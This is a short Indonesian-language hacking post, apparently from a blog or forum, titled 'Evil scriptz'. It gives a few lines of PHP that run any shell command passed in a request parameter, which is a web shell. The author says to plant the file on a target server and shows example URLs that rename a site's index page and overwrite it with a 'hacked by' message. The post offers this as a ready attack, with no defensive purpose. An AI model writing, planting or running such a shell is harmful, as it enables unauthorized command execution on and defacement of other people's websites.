Evil scriptz...

Lagi nyoba-nyoba function exec(), shell() dan echo `` dirumah eh baru nyadar kalo itu perintah keren2 banget bagus juga buat dibuat exploit hehehe, ini contoh yang gw buat :



'if(!isset($_REQUEST[query])){
' echo "masukkan command";
'} else {
' echo `$_REQUEST[query]`;
'}




ditaro di server target trus dijalanin(kalo OS target window$) :

http://www.target.com/evil_script.php?query=ren index.php index2.php
http://www.target.com/evil_script.php?query=echo hacked by ur nick > index.php

binggo!!! lihat sendiri hasilnya
come on let's kick the brain :)